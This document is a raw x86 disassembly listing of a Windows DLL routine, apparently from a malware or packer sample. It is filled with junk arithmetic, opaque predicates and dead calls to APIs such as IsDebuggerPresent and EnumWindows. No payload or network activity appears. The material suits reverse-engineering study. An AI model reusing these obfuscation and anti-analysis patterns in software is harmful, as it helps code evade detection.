xor eax, eax
mov dword [ebp - 0x1e4], 0xffffffe8
cmp dword [ebp - 0x1e4], 0xfffffffa
jne 0x100356ae
push 3
pop ecx
mov dword [ebp - 0x2c], 0x717be9fb
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10035672
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x690], 0xccb03629
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003565a
xor eax, eax
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], 0x1c
jg 0x1003569f
mov dword [ebp - 0x2c], 0x250d
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x690]
cmp dword [ebp - 0x690], 0x1c
jle 0x10035681
xor eax, eax
inc dword [ebp - 0x1e4]
cmp dword [ebp - 0x1e4], 0xfffffffa
je 0x1003564b
mov ecx, dword [ebp - 0x1e4]
xor edx, edx
mov eax, dword [ebp - 0x1e4]
cmp ecx, eax
push 0
setge dl
neg edx
mov dword [ebp - 0x38], edx
inc dword [ebp - 0x3c]
pop eax
cmp dword [ebp - 0x3c], 0xf
jle 0x10035615
push 3
pop eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setl cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x28]
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, 0x8254
setl cl
add ecx, dword [ebp - 0x28]
jne 0x10035718
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x100357ad
push ebx
lea ecx, [ebp - 0x75c]
call fcn.1001b841
xor eax, eax
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10035767
push dword [ebp - 0x18]
lea ecx, [ebp - 0x75c]
call fcn.1001b8b2
mov dword [eax], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10035749
xor eax, eax
push eax
lea ecx, [ebp - 0x75c]
call fcn.1001b8b2
lea ecx, [ebp - 0x75c]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
xor eax, eax
push eax
call fcn.1001b8b2
xor edx, edx
cmp dword [eax], edx
mov eax, dword [ebp - 0x3c]
sete dl
xor ecx, ecx
cmp edx, eax
setne cl
or eax, 0xffffffff
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x75c]
mov dword [ebp - 4], eax
call fcn.1001b8ad
jmp 0x100357bd
mov dword [ebp - 0x2c], 0x4e5477a
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
xor eax, eax
lea ecx, [ebp - 0xb78]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], eax
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], eax
mov eax, 0xffff
mov dword [ebp - 0x20], 0xcd53bc6e
mov dword [ebp - 0x48], eax
push edi
call fcn.1001b841
mov dword [ebp - 4], 0xc
or eax, 0xffffffff
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x4c], 0x9e13c95
mov dword [ebp - 0x18], eax
jmp 0x10035827
push dword [ebp - 0x18]
lea ecx, [ebp - 0xb78]
call fcn.1001b8b2
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10035814
mov eax, dword [ebp - 0x494]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10035865
inc dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
inc eax
jne 0x10035863
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003590e
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
jmp 0x1003590e
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x40], 0x8dc5
mov dword [ebp - 0x2c], 0xb35f1971
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10035888
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0xb78]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x498]
xor eax, eax
push eax
call fcn.1001b8b2
mov edx, dword [ebp - 0x498]
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, 0x7d6b
setne cl
xor edx, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x490]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setl dl
mov dword [ebp - 0x494], edx
cmp edx, dword [ebp - 0x18]
jle 0x100358de
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setle dl
cmp edx, 0x5c6a81d6
jl 0x10035909
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1003590b
mov eax, ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x44]
xor ecx, ecx
imul eax, dword [ebp - 0x48]
cmp eax, 0x7e12fd89
setl cl
or eax, 0xffffffff
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0xb78]
mov dword [ebp - 4], eax
call fcn.1001b8ad
push edi
lea ecx, [ebp - 0x968]
call fcn.1001b841
mov dword [ebp - 4], 0xd
xor eax, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x10035971
push dword [ebp - 0x18]
lea ecx, [ebp - 0x968]
call fcn.1001b8b2
mov dword [eax], 0xca631852
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10035953
xor eax, eax
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x100359a1
push dword [ebp - 0x18]
lea ecx, [ebp - 0x968]
call fcn.1001b8b2
cmp dword [eax], 0
jne 0x100359a1
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003599c
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
dec dword [ebp - 0x18]
jns 0x10035979
or eax, 0xffffffff
lea ecx, [ebp - 0x968]
mov dword [ebp - 4], eax
call fcn.1001b8ad
xor eax, eax
lea ecx, [ebp - 0x864]
mov dword [ebp - 0x1c], eax
push edi
call fcn.1001b841
mov dword [ebp - 4], 0xe
xor eax, eax
mov dword [ebp - 0x2c], 0xb0cadfb1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100359fd
mov ebx, 0xffff
push dword [ebp - 0x14]
lea ecx, [ebp - 0x864]
call fcn.1001b8b2
mov dword [eax], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100359e0
xor ebx, ebx
xor eax, eax
inc ebx
push 3
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x10035a20
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1194], 0xb56cef3c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10035a08
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10035acd
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
jle 0x10035a3d
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10035a3f
mov dword [ebp - 0x2c], ebx
jmp 0x10035a42
xor eax, eax
mov dword [ebp - 0x2c], eax
push eax
lea ecx, [ebp - 0x864]
call fcn.1001b8b2
mov edx, dword [ebp - 0x1c]
xor ebx, ebx
mov ecx, dword [ebp - 0x1c]
mov esi, eax
cmp edx, ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
setne bl
imul ecx, dword [ebp - 0x2c]
mov edi, dword [esi]
sub ebx, ecx
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
lea eax, [edi + 1]
mov dword [esi], eax
setne cl
xor ebx, ebx
cmp edi, ecx
jge 0x10035a87
inc ebx
mov eax, ebx
jmp 0x10035a8a
xor eax, eax
inc ebx
cmp eax, dword [ebp - 0x1c]
jle 0x10035a9a
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10035a9c
mov ecx, ebx
jmp 0x10035a9e
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x1c]
add eax, ecx
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
cmp eax, ebx
jbe 0x10035ac2
xor eax, eax
lea ecx, [ebp - 0x864]
push eax
call fcn.1001b8b2
cmp dword [eax], 0
jne 0x10035ac5
mov eax, dword [ebp - 0x1c]
push 2
pop edi
push 3
mov eax, ebx
pop esi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
or eax, 0xffffffff
mov dword [ebp - 0x118c], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10035af7
push 0x5f5
push 0x12b4
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
or eax, 0xffffffff
lea ecx, [ebp - 0x864]
mov dword [ebp - 4], eax
call fcn.1001b8ad
mov dword [ebp - 0x3c], 0xfffffffb
lea ecx, [ebp - 0xea8]
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x4c], 0x985a9576
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x18], 0x5aad8530
push esi
call fcn.1001b841
push ebx
lea ecx, [ebp - 0xd18]
mov dword [ebp - 4], 0xf
call fcn.1001b841
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xad0]
mov dword [ebp - 0x4c], ebx
push esi
call fcn.1001b841
xor eax, eax
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jge 0x10035b8c
or ebx, 0xffffffff
push dword [ebp - 0x34]
lea ecx, [ebp - 0xea8]
call fcn.1001b8b2
mov dword [eax], ebx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x10035b6f
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jge 0x10035bae
push dword [ebp - 0x34]
lea ecx, [ebp - 0xd18]
call fcn.1001b8b2
mov dword [eax], esi
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jl 0x10035b94
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jge 0x10035bd4
or ebx, 0xffffffff
push dword [ebp - 0x34]
lea ecx, [ebp - 0xad0]
call fcn.1001b8b2
mov dword [eax], ebx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x10035bb9
xor ebx, ebx
inc ebx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x10035bf7
push edi
lea ecx, [ebp - 0xad0]
call fcn.1001b8b2
dec dword [eax]
jne 0x10035bf7
xor eax, eax
mov edx, eax
jmp 0x10035bf9
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, 0x7b69c93e
setne cl
xor eax, eax
imul ecx, dword [ebp - 0x3c]
imul ecx, edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edi
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
jg 0x10035c80
push 2
pop esi
mov dword [ebp - 0x3c], eax
jmp 0x10035c46
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10035c43
push eax
push eax
push 0x1874
call edi
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jle 0x10035c28
mov dword [ebp - 0x18], eax
jmp 0x10035c73
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], eax
jl 0x10035c70
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10035c6b
push eax
push eax
call dword [sym.imp.USER32.dll_EnumWindows]
xor eax, eax
dec dword [ebp - 0x20]
jns 0x10035c58
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10035c50
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jle 0x10035c23
lea ecx, [ebp - 0xad0]
call fcn.1001b8ad
lea ecx, [ebp - 0xd18]
call fcn.1001b8ad
or eax, 0xffffffff
lea ecx, [ebp - 0xea8]
mov dword [ebp - 4], eax
call fcn.1001b8ad
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10035ccc
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x36c], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10035cb4
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], eax
jl 0x10035ced
mov dword [ebp - 0x2c], 0xa5c62e08
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x36c], ecx
dec dword [ebp - 0x38]
jns 0x10035cd4
mov eax, dword [ebp - 0x36c]
xor ecx, ecx
movdqa xmm0, xmmword [0x1000ca20]
cmp eax, 0x5ed9a924
lea eax, [ebp - 0xf38]
setle cl
push eax
mov dword [ebp - 0x38], ecx
lea eax, [ebp - 0xf48]
mov dword [ebp - 0x34], 0xac12
lea ecx, [ebp - 0x13a0]
push eax
movdqu xmmword [ebp - 0xf48], xmm0
call fcn.1001b8c1
lea ecx, [ebp - 0x23a]
mov esi, eax
call fcn.1000db63
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x3ec]
push dword [esi]
call fcn.1001b883
mov dword [ebp - 4], 0x12
xor eax, eax
push 3
mov dword [ebp - 0x14], 0xc4d8e5c
pop esi
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], eax
jl 0x10035e69
mov dword [ebp - 0x3c], 0xa3a11c15
mov dword [ebp - 0x2c], 0x912e
mov dword [ebp - 0x54], 0x6e86ff18
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], esi
jg 0x10035e60
mov dword [ebp - 0x24], 0xc415051a
mov dword [ebp - 0x18], eax
jmp 0x10035db5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1254], 0xfe3d2f55
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10035da4
push dword [ebp - 0x14]
lea ecx, [ebp - 0x3ec]
call fcn.1001b8b2
cmp dword [eax], 0
je 0x10035dec
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x3ec]
call fcn.1001b8b2
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x10035dee
mov eax, ebx
jmp 0x10035dee
xor eax, eax
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x3ec]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x3c]
call fcn.1001b8b2
push 2
lea ecx, [ebp - 0x3ec]
call fcn.1001b8b2
push esi
lea ecx, [ebp - 0x3ec]
call fcn.1001b8b2
mov ecx, dword [ebp - 0x14]
xor ebx, ebx
push esi
cmp ecx, dword [eax]
lea ecx, [ebp - 0x3ec]
setge bl
call fcn.1001b8b2
xor ecx, ecx
push 0
cmp ebx, dword [eax]
pop eax
setle cl
mov dword [ebp - 0x1250], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], 0x1e6e836
inc dword [ebp - 0x3c]
push 1
pop ebx
cmp dword [ebp - 0x3c], esi
jle 0x10035d98
dec dword [ebp - 0x14]
jns 0x10035d6d
or eax, 0xffffffff
lea ecx, [ebp - 0x3ec]
mov dword [ebp - 4], eax
call fcn.1001b8ad
mov dword [ebp - 0x2c], 0xfffffffd
or edx, 0xffffffff
mov dword [ebp - 0x28], 0xfe7d8a87
xor eax, eax
mov dword [ebp - 0x24], 0xfffffff6
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10035eb9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3bc], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10035ea0
xor eax, eax
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], eax
jl 0x10035f9c
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10035ede
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
xor eax, eax
mov dword [ebp - 0x38], esi
cmp dword [ebp - 0x38], eax
jl 0x10035f90
or ebx, 0xffffffff
push 2
lea ecx, [ebp - 0x980]
call fcn.1001b841
xor eax, eax
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x18], eax
jmp 0x10035f1f
push dword [ebp - 0x18]
lea ecx, [ebp - 0x980]
call fcn.1001b8b2
mov dword [eax], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10035f08
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x3bc]
test eax, eax
sete cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x980]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x3bc]
xor eax, eax
push eax
call fcn.1001b8b2
mov edx, dword [ebp - 0x3b0]
mov esi, eax
mov ecx, dword [ebp - 0x3b0]
xor eax, eax
cmp edx, ecx
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x980]
setge al
mov dword [esi], eax
call fcn.1001b8ad
dec dword [ebp - 0x38]
jns 0x10035eed
xor ebx, ebx
xor eax, eax
push 3
inc ebx
pop esi
dec dword [ebp - 0x28]
jns 0x10035ec5
or edx, 0xffffffff
cmp dword [ebp - 0x3b0], eax
je 0x10035fc6
mov dword [ebp - 0x28], 0x1921a
mov eax, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x3b8]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x3b4]
mov eax, dword [ebp - 0x3b0]
xor ecx, ecx
cmp eax, edx
setg cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x20], 0xf7919adb
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x54], 0x90350d8a
mov dword [ebp - 0x2c], 0x4951162d
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0x96a450c1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10036024
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xde0], 0x971db956
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003600c
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x10036061
mov dword [ebp - 0x18], eax
jmp 0x1003603f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x13d8], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003602e
mov eax, dword [ebp - 0x13d4]
mov dword [ebp - 0x48], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100360d3
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
jmp 0x100360d1
mov dword [ebp - 0x4c], 0x228d5fea
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], 0xaa23
mov dword [ebp - 0x40], 0xb83e
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x24]
je 0x10036093
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x10036095
mov eax, ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x100360a8
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
cmp eax, ebx
setge cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
setg dl
mov dword [ebp - 0x2c], edx
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100360e4
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x2c], 0x1f6f49c2
mov eax, 0x61928c17
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x14c], eax
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffff7
mov dword [ebp - 0x28], 0xa260df39
mov dword [ebp - 0x2c], 0x7f5d1cc0
mov dword [ebp - 0x24], 0xfd90538e
mov dword [ebp - 0x24], 0x6aece011
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x100362eb
push ebx
lea ecx, [ebp - 0x4d8]
call fcn.1001b841
mov dword [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x24], 0xb87c2657
mov dword [ebp - 0x18], eax
jmp 0x10036171
push dword [ebp - 0x18]
lea ecx, [ebp - 0x4d8]
call fcn.1001b8b2
mov dword [eax], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003615a
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x158], 0
je 0x10036297
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x158]
mov eax, dword [ebp - 0x154]
cmp eax, ecx
setg dl
mov dword [ebp - 0x28], edx
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x158]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
setne dl
add edx, dword [ebp - 0x158]
jne 0x100361c3
mov eax, dword [ebp - 0x14c]
xor eax, eax
lea ecx, [ebp - 0x4d8]
push eax
call fcn.1001b8b2
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x4d8]
cmp dword [ebp + eax*4 - 0x158], ebx
sbb esi, esi
neg esi
sub esi, dword [ebp - 0x1c]
neg esi
sbb esi, esi
add esi, 0x1caf1e2d
neg esi
sbb esi, esi
xor eax, eax
push eax
neg esi
call fcn.1001b8b2
xor edx, edx
cmp esi, dword [eax]
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x158]
cmp edx, eax
mov eax, dword [ebp - 0x14c]
sete cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
sete dl
cmp dword [ebp - 0x1c], edx
jl 0x10036242
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x158], 0
je 0x10036242
mov esi, ebx
xor eax, eax
jmp 0x10036246
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x4d8]
call fcn.1001b8b2
push 3
mov ecx, dword [eax]
add ecx, 0xcc351cb2
add ecx, esi
pop eax
sub ecx, eax
mov eax, dword [ebp - 0x14c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
sete dl
mov ecx, dword [ebp + eax*4 - 0x158]
mov eax, dword [ebp - 0x1c]
imul ecx, dword [ebp + eax*4 - 0x158]
mov eax, dword [ebp - 0x24]
add eax, edx
cmp ecx, eax
jg 0x10036297
mov esi, ebx
xor eax, eax
jmp 0x1003629b
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x4d8]
call fcn.1001b8b2
xor ecx, ecx
cmp esi, dword [eax]
mov eax, dword [ebp - 0x158]
setl cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x4d8]
setge dl
sub edx, eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
or eax, 0xffffffff
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], eax
call fcn.1001b8ad
dec dword [ebp - 0x1c]
jns 0x10036139
push 3
xor eax, eax
pop esi
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], eax
jl 0x1003631b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10036316
push eax
push 0x1e8
push 0x909
push 0xb15
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor eax, eax
dec dword [ebp - 0x28]
jns 0x100362f3
or esi, 0xffffffff
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x40], 0x90611bc3
cmp dword [ebp - 0x38], eax
je 0x100364a5
movdqa xmm0, xmmword [0x1000ca70]
lea eax, [ebp - 0x1138]
push eax
lea eax, [ebp - 0x1148]
push eax
lea ecx, [ebp - 0x13b0]
movdqu xmmword [ebp - 0x1148], xmm0
call fcn.1001b8c1
lea ecx, [ebp - 0x209]
mov esi, eax
call fcn.1000db63
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x11ac]
push dword [esi]
call fcn.1001b883
mov dword [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x2c], 0x18a52733
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100363a0
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
xor eax, eax
push 3
mov dword [ebp - 0x38], eax
pop esi
jmp 0x10036486
push ebx
lea ecx, [ebp - 0x5e0]
call fcn.1001b841
xor eax, eax
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100363e3
push dword [ebp - 0x14]
lea ecx, [ebp - 0x5e0]
call fcn.1001b8b2
mov dword [eax], 0x90a624cd
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100363c5
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10036405
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x32c], 0x80444555
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100363ec
xor eax, eax
push eax
lea ecx, [ebp - 0x5e0]
call fcn.1001b8b2
mov dword [eax], esi
jmp 0x10036446
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10036438
push 0x20e9
push 0x8e4
push eax
push 0x76e
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
xor eax, eax
push eax
lea ecx, [ebp - 0x5e0]
call fcn.1001b8b2
dec dword [eax]
xor eax, eax
lea ecx, [ebp - 0x5e0]
push eax
call fcn.1001b8b2
cmp dword [eax], 0
jge 0x10036415
xor eax, eax
mov dword [ebp - 0x32c], eax
jmp 0x1003646c
mov dword [ebp - 0x2c], esi
inc dword [ebp - 0x32c]
cmp dword [ebp - 0x32c], esi
jle 0x10036463
lea ecx, [ebp - 0x5e0]
mov byte [ebp - 4], 0x15
call fcn.1001b8ad
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jle 0x100363ab
or esi, 0xffffffff
lea ecx, [ebp - 0x11ac]
mov dword [ebp - 4], esi
call fcn.1001b8ad
jmp 0x1003656b
mov dword [ebp - 0x18], ebx
xor ecx, ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0x4d71b36c
mov dword [ebp - 0x2c], 0xdc068927
mov eax, dword [ebp - 0x18]
cmp eax, 0xc10977a1
setne cl
xor eax, eax
mov dword [ebp - 0x40], ecx
cmp dword [ebp - 0x40], eax
je 0x1003655b
mov dword [ebp - 0x20], 0xe07ea4c5
xor edx, edx
mov dword [ebp - 0x2c], 0x97e65fb
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
sub edx, 0x39bf
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x2c], edx
je 0x10036528
